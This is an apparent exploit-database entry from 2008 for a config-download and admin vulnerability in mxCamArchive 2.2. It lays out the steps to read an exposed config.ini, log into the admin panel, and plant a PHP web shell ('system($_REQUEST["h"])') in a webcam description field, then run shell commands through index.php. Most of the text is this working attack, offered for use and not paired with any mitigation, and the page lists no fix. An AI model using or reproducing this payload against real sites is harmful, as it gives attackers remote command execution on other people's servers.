mxCamArchive 2.2 Bypass Config Download Vulnerability

2008-11-17 17:50:03

************************(Bypass Config Download Vulnerability)*****************

script: mxcamarchive 2.2

***************************************************************************
download from:http://www.infireal.com/media/serve/106/mxcamarchive2.2.zip

***************************************************************************
...........................................................................
expl:

http://site.com/path/archive/config.ini

and login
http://site.com/path/admin


and add new web cam
and Description '<pre><?@system($_REQUEST["h"]);?></body></pre>'
and save


now:
http://site.com/path/index.php?h=ls -la

***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: [email protected]


***************************************************

#

Fixes

No fixes

In order to submit a new fix you need to be registered.